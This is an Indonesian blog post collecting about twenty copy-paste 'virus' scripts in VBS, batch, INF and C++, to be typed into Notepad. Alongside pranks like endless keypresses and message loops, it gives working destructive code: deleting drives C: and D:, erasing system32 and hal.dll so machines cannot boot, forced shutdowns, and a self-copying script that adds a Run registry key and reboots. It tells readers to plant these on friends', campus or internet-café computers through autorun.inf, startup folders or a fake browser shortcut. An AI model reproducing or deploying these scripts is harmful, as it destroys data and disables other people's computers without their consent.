KUMPULAN VIRUS VIRUS KOMPUTER BERBAGAI LEVEL DAN KEGUANAAN VBS, BAT, INF DAN LAINYA ANIMO VIRUST PRESENTS 2012 2013 2014 

    AL AMIN ATHFAL MABRURI 02 INI NYATA BUKAN MAIN MAIN BOSS..!! 1.

posting kali ini emang sangat mengerikan karena bisa membuat komputer kita menjadi EROR hahahah.pembuat virus ini  bisa menggunakan notepad yang hampir semua komputer memilikinya dengan berbagai extensi file dan berbagai kelas kerusakan yang terjadi pada komputer anda

Masih di notepad, sekarang saya akan jelaskan cara membuat notepad terbuka secara otomatis, silahkan ketik/ copas kode script berikut ke notepad : @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top Simpan di notepad dengan nama apa saja dengan exstensi .bat sama seperti yang tadi, contoh "eror.bat" tanpa tanda kutip dan Save As Type ganti menjadi All Files. Trik ini akan membuat notepad terbuka dengan sendirinya secara otomatis. - See more at: http://dikaeuphrosyne.blogspot.com/2013/04/cara-membuat-virus-menggunakan-notepad.html#sthash.gsz6t4kZ.dpuf 2. Masih menggunakan notepad, yang sekarang cara membuat tombol backspace menjadi eror menekan terus menerus secara otomatis, langsung saja copas/ketik kode script berikut ke notepad : MsgBox "kembali ke menu sebelumnya" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop Simpan kode script tersebut di notepad dengan nama apa saja yang penting tidak lupa menuliskan exstensi .vbs contoh : "eror.vbs" tanpa tanda kutip dan Save As Type ganti menjadi Al Files. Trik ini membuat tombol backspace menjadi eror dan menekan dengan sendiri nya. 3. Masih menggunakan notepad, trik sekarang bisa membuat CD/DVD Room buka tutup dengan sendiri nya, langsung aja copas/ketik kode script berikut ke notepad : Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Simpan kode tersebut di notepad dengan nama bebas dan tambahkan exstensi .vbs contoh : "eror.vbs" dan Save As Type ganti menjadi All Files, maka akan bisa membuat CD/DVD Room buka tutup dengan sendirinya secara otomatis. 4. Trik kali ini bisa membuat Caps Lock menyala terus menerus tak terkendali, langsung saja copas/ketik kode script berikut di notepad : Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Simpan kode script tersebut dengan nama bebas dan dengan exstensi .vbs contoh "eror.vbs" dan Save As Type ganti menjadi All Files, maka jika File ini di buka akan membuat Caps Lock menyala terus menerus. 5. Trik yang ke tujuh, membuat komputer menjadi shoutdown dengan kata lain mati, langsung saja ini script nya copas ke notepad : @echo off msg * I don't like you shutdown -c "Error! You are too ******!" -s Simpan kode script tersebut dengan nama bebas dan dengan exstensi .vbs contoh "eror.vbs" dan Save As Type ganti menjadi All Files, maka jika file ini di buka akan membuat komputer shoutdown atau mati. 6. Trik yang ini sama dengan trik yang nomor 7 hanya saja yang ini isi waktu, langsung saja copas/ketik kode script berikut ke notepad : @echo shutdown -s -t 1 -f Simpan kode script tersebut dengan nama bebas dan dengan exstensi .bat lain dengan trik yang no 7, contoh : "eror.bat" tanpa tanda kutip dan Save As Type ganti menjadi All Files, Maka jika file ini dibuka akan sama dengan no 7 yaitu membuat komputer Shoutdown, hanya saja yang membedakan adalah yang ini berisi waktu, lihat angka pada kode script tersebut yang berwarna biru, itu adalah waktu yang dibutuhkan untuk mematikan komputer, bisa di atur sesuai keinginan (1 = 1 detik) 7. Kali ini trik yang lumayan berbahaya, karena komputer akan dipenuhi oleh 100000000 tourstart yang akan memenuhi layar monitor dan akan membuat komputer menjadi hang, untuk mengatasinya dapat mendelete semua tourstart tersebut atau langsung merestart komputer. Silahkan copas/ketik kode script berikut ke notepad : option explicit dim wshshell set wshshell=wscript.createobject(“wscript.shell”) dim x for x = 1 to 100000000 wshshell.run “tourstart.exe” next Simpan dengan nama bebas dan dengan exstensi .vbs contoh : "virus.vbs" tanpa tanda kutip dan Save As type ganti menjadi All Files. Pada angka yang saya beri wara biru, itu bisa di ganti sesuai keinginan, bisa dibuat menjadi 100 atau 1000 saja, dan begitu file ini dibuka akan membuat tourstart sesuai dengan angka yang ditulis pada kode tesebut, 8. Nah Yang terakhir ini, saya rasa paling berbayaha, karena dapat menghapus seluruh data di hardisk tanpa terkecuali, sehingga mau tidak mau ya harus instal ulang, langsung saja copas/ketik kode script berikut di notepad : @echo off DEL C: -Y DEL D: -Y Simpan dengan nama bebas dan exstensi .bat contoh "virus.bat" tanpa tanda kutip dan Save As Type ganti menjadi All Files dan simpan , tapi JANGAN DIKLIK karena bisa berakibat fatal bagi komputer anda. - See more at: http://dikaeuphrosyne.blogspot.com/2013/04/cara-membuat-virus-menggunakan-notepad.html#sthash.gsz6t4kZ.dpuf Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini. 9. Nah mau script .vbs yang laen lagi? WScript.Sleep 18000 WScript.Sleep 1000 do Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "H" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "l" WScript.Sleep 500 WshShell.SendKeys "o" WScript.Sleep 500 WshShell.SendKeys ". " WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "p" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "K" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "r" WScript.Sleep 500 WshShell.SendKeys " " WScript.Sleep 500 WshShell.SendKeys "b" WScript.Sleep 500 WshShell.SendKeys "a" WScript.Sleep 500 WshShell.SendKeys "i" WScript.Sleep 500 WshShell.SendKeys "k" WScript.Sleep 500 WshShell.SendKeys "?" WScript.Sleep 500 wscript.sleep 5000 loop Scripts diatas nanti otomatis buka notepad dan ketik: Halo. apa kabar? kabar baik? ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as 10. Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq! ” Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "Kamu emang jelak koq! jangan takut animo virus emang jail dan kamu jangan nangis karena kamu harus install ulang computer mu>>>>> " loop 11. Dan membuat terus menerus menekan tombol “Enter” Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop 12. Terus tekan backspace: MsgBox "Balik lagi ah...saltik" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop 13. Nama Aslinya Trojan Horse Kalo Mau Penjelasannya Klik Pengertian Virus , Dan Seperti Komputer Saya Ini Penuh Virus Worm , Sengaja Biar Jadi Pabrik Virus ckckck , Oke Begini Cara Membuatnya Mudah Kok Notepad Lagi hoho . set FSobj=CreateObject(“Scripting.FileSystemObject”) set sysDir = FSobj.GetSpecialFolder(1) createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs” sub createRegKey(regKey,regVal) set regEdit = CreateObject(“WScript.Shell”) regEdit.RegWrite regKey,regVal end sub set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”) generateCopy.close set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1) setFile() fixedCode=replace(fileData,chr(94),”"”") set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2) procreateCopy.write fixedCode procreateCopy.close rebootSystem() function setFile() fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _ “strComputer = ^.^ ” &vbcrlf& _ “Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _ “& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _ “Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _ “(^Select * from Win32_OperatingSystem^)” &vbcrlf& _ “For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _ “ObjOperatingSystem.Reboot()” &vbcrlf& _ “Next” end function function rebootSystem() strComputer = “.” Set objWMIService = GetObject(“winmgmts:” _ & “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2″) Set colOperatingSystems = objWMIService.ExecQuery _ (“Select * from Win32_OperatingSystem”) For Each objOperatingSystem in colOperatingSystems ObjOperatingSystem.Reboot() Next end function Kalau Sudah Simpah Filenya Dengan Extensi .VBS contoh AL AMIN Ganteng.VBS , Nyimpennya Harus All FilesJangan Di Klik kalau Itu Komputer Pribadi Gw Gak Tanggung Jawab Kalau Keluar 1000 File Aneh Catatan : Saya Tidak Bertanggung Jawab Atas Apa Yang Anda Lakukan Ini Hanya Materi Pembelajaran 14. Virus jail animo virust lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning") 3. Save dengan format .vbs (ex : virus1.vbs). Simpan juga dengan format all file 4. Jalankan Virusnya 5. Akan muncul pilihan yes or no. Pilih saja salah satu (Yes atau No). Tidak akan terjadi apa-apa kok. Note : Pesan yang muncul bisa diganti-ganti. Dan jika mau program itu aktif ketika komputer startup, letakkan programnya di C:\Documents and Settings\*namauser*\Start Menu\Programs\Startup. 15. Virus yang kali ini cukup berbahaya, namun tidak merusak. Jika mau mencoba, silakan coba di komputer lain, jangan di komputer pribadi. Virus terdeteksi // Title buat window xxx // sub skrip xxx msg * mencoba mendelete viruz // pesan erase "C:\WINDOWS\system32" // menghapus system32 start xxxx.bat // menjalankan file xxxx.bat yg disimpan pada folder yang sama msg * percobaan gagal,mencoba kembali // pesan goto xxxx // eksekusi xxxx.bat 3. Save dengan nama xxx.bat (Jadikan all file, jangan .txt) 4. Buka Notepad (Notepad baru) 5. Copy kode berikut Viruz // mengubah window title msg * Wah2 komputer anda kena viruz// pesan di message box del // Delete files /// "del c:" mengapus file yg di c: erase // sama kyk del start xxxx.bat // memulai xxxx.bat xxx // sub skrip goto // ke subskrip 6. Save dengan nama xxxx.bat( Jadikan all file,,simpan di folder yg sama dengan file yang pertama) 7. Jika mau menjalankannya, jalankan yang xxxx.bat 8. Jika mau menjalankannya ketika komputer Startup Copy ke C:\Documents and Settings\*nama user*\Start Menu\Programs\Startup. * * * 16. Virus yang ini mungkin dikategorikan berbahaya, dikarenakan bisa menghapus file .dll dan membuat komputer tak bisa booting. Jadi hati-hati, kalau mau coba, coba di komputer yang udah mau rusak aja. #include #include using namespace std; int main(int argc, char *argv[]) { std::remove(”C:\\windows\\system32\\hal.dll”); //PWNAGE TIME system(”shutdown -s -r”); system(”PAUSE”); return EXIT_SUCCESS; } 3. Program ini akan menghapus hal.dll , jadi jangan dieksekusi karena bisa menyebabkan gagal booting. 4. Kalau mau yang advance, copy code di bawah ini #include #include using namespace std; int main(int argc, char *argv[]) { std::remove(”%systemroot%\\system32\\hal.dll”); //PWNAGE TIME system(”shutdown -s -r”); system(”PAUSE”); return EXIT_SUCCESS; } 5. Perbedaan dengan kode yang pertama adalah pada proses pencarian directory system secara sistem. (Kode pertama hanya bisa menghapus kode hal.dll jika dilteakkan di directory C: , sedangkan ini akan otomatis mencari. 6. Jangan coba di komputer yang masih normal-normal. Coba di komputer yang kira-kira sudah rusak berat saja - See more at: 17. Virus gokil selanjutnya ini sangat berbahaya untuk anda jangan maen maen dengan kode ini di computer anda sendiri cls :A color 0a cls @echo off echo Wscript.Sleep 5000>C:\sleep5000.vbs echo Wscript.Sleep 3000>C:\sleep3000.vbs echo Wscript.Sleep 4000>C:\sleep4000.vbs echo Wscript.Sleep 2000>C:\sleep2000.vbs cd %systemroot%\System32 dir cls start /w wscript.exe C:\sleep3000.vbs echo BANGUN TIDUR KU TERUS MENGHANCURKAN SYSTEM BUSUK …^__^ echo ………………… echo: echo: start /w wscript.exe C:\sleep3000.vbs echo NEXT…………! echo: echo: echo HALO SOBAT echo MAU JADI TEMAN AKU ?? echo: echo: echo IM CATUREKO!!! start /w wscript.exe C:\sleep2000.vbs echo ………… start /w wscript.exe C:\sleep4000.vbs echo ………… echo NTAR…….! start /w wscript.exe C:\sleep2000.vbs echo: echo: echo: echo VIRUS INI ADALAH VIRUS YANG SANGAT MEMATIKAN… cd C:\Documents and Settings\All Users\Start Menu\Programs\ mkdir Si_INDO_CRACKER start /w wscript.exe C:\sleep3000.vbs echo: echo: echo: echo: echo HAPPY BIRTHDAY echo KOMPUTER KAMU BAGUS DEH echo BOLEH Q INTIP DIKIT echo HMM BOLEH JUGA NEH ISINYA echo CALL ME YACHH +627840xxxxxx GPRS JUGA BOLEH KOK echo: echo: echo: echo: echo: echo SABARAN BRO… start /w wscript.exe C:\sleep3000.vbs echo ……….. echo zzzzzzz…. echo: echo: start /w wscript.exe C:\sleep3000.vbs echo OKE….Virus AKTIF! echo: echo: echo: start /w wscript.exe C:\sleep2000.vbs echo FIREWALL KAMU ANCUR… start /w wscript.exe C:\sleep2000.vbs echo SEMUA PROSESS UDAH DIBANTAI… start /w wscript.exe C:\sleep2000.vbs echo VIRUS SILAHKAN BOOTING DENGAN SEGALA HORMAT… start /w wscript.exe C:\sleep2000.vbs echo: echo: echo: echo VIRUS MASUK PODIUM AKHIR! start /w wscript.exe C:\sleep2000.vbs echo: echo: echo I LOVE U FULL echo HA HA HA HA SALAM BUAT BAPAK IBU KAMU YA echo: echo: echo: echo: start /w wscript.exe C:\sleep2000.vbs pause shutdown -f -s -c “MET NGA'I AJA YA....” nah kalo udah simpen aja dengan nama "virus ganas.bat" nah kalo mw ngaktifin virusnya tinggal klik file .batnya 2X... tapi sebaiknya ni virus jangan di coba di komputer/laptop milik kita sendiri...ntar malah pusing kita. inget ya nih virus buat ngerjain temen yang ga kita suka aja(hehe sengaja aku buat kaya gini), o ya ni virus cuma akan merestart komputer temen anda n memberi tulisan2 yang membuat teman anda merasa bahwa ada virus yang ganas di komputernya. 18. CD Room terbuka dan tertutup terus Set oWMP = CreateObject ("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Simpan dengan .vbs Catatan : Hanya sekedar referensi agar lebih waspada terhadap setiap software atau program yang ada di computer, laptop atau di internet agar tidak mudah percaya begitu saja karena akibatnya sangat fatal 19. Munculin 5 pilihan yang harus korban pilih. Buka Notepad ketik script dibawah ini dan Save As menggunakan Extension .BAT @echo off title The end of the world cd C:\ :menu cls echo oops gw gak tanggung jawab lho apa yang barusan lu lakuin hehhe,,semuanya dh jadi tanggung jawab lu sendiri... pause echo pilih nama cwe yang lu suka =P : echo 1. datanya bakal ilang lho. echo 2. komputer nya corrupt lho echo 3. heheh no comment deh klo yang ini echo 4. mau mati pake jalan ini? echo 5. bye bye... set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two 20. munculin windows message yang gak bisa diclose. Simpan dengan ekstensi .bat @ECHO off :Begin msg * Muka Kamu Jelek Sekali msg * Aku Tidak Mau Di Program Sama Kamu :b msg * :b :b :b :b :b :b :b :b :b :b :b :b :b :b :b :b msg * Hahahahah. Kamu Aku Kerjain !! msg * Jangan Sentuh Aku Lagi !! msg * Tangan Kamu Bau :b msg * Kamu Belum Cebok Yah ?? GOTO BEGIN *perhatian #kalau mau iseng sebar diwarnet aja #cara menghentikannya dengan cara ctrl + alt + delete dan pilih end process atau restart komputermu #ada banyak teks yang bisa kamu edit, kalau bisa edit aja biar lebih keren #cara menyimpannya. Save as > tulis dengan ekstensi yang sudah ditentukan > type file pilih yang all files Membuat Komputer Hang dengan Kode script Notepad ------------------------------------------------------------- start start start start start start start start start start start start simpan di Notepad dengan nama : xhack.BAT terus buat shortcut palsu terserah mau shortcut apa, aku saranin shortcutnya browser mozilla terus taro aja di desktop target ( efeknya akan membuka CDM yang banyak banget sampe layarnya keluar keluar ) 21. Cara Mematikan Tombol Keyboard ------------------------------------------------------------- 1. Salin baris-baris kode (script) berikut , paste pada Notepad dan simpan dengan nama JAIL.INF Langsung kita mulai saja : [Version] Signature=”$Windows NT$” [DefaultInstall] AddReg =AIUEO [AIUEO] HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map”,0×1,00,00,00,00,00,00,00,00,06,00,00,00,00,00,1e,00,00,00,12,00,00,00, 17,00,00,00,18,00,00,00,16,00,00,00,00,00 ————————————— 2. Untuk menjalankannya, klik kanan nama file JAIL.INF dan pilih menu> Install 3. Log Off komputernya agar trik ini berfungsi. NB : Script diatas dimaksudkan untuk mematikan tombol A I U E O pada keyboard. Untuk menormalkannya, silahkan salin script berikut : ————————————— [Version] Signature=”$Windows NT$” [DefaultInstall] DelReg =normal [normal] HKLM,”SYSTEM\CurrentControlSet\Control\Keyboard Layout”,”Scancode Map” ————————————— —> Simpan dengan nama “NORMAL.INF” Klik kanan file ini, pilih >Install Log Off komputernya. sumber artikel hack : kidzoom Harusnya pasti sedikit kaget dan coba low bayangin kalau trik ini kamu praktekan di kompi temen kamu atau mungkin kompi kampus atau warnet.. what will happen ? abis pastinya ..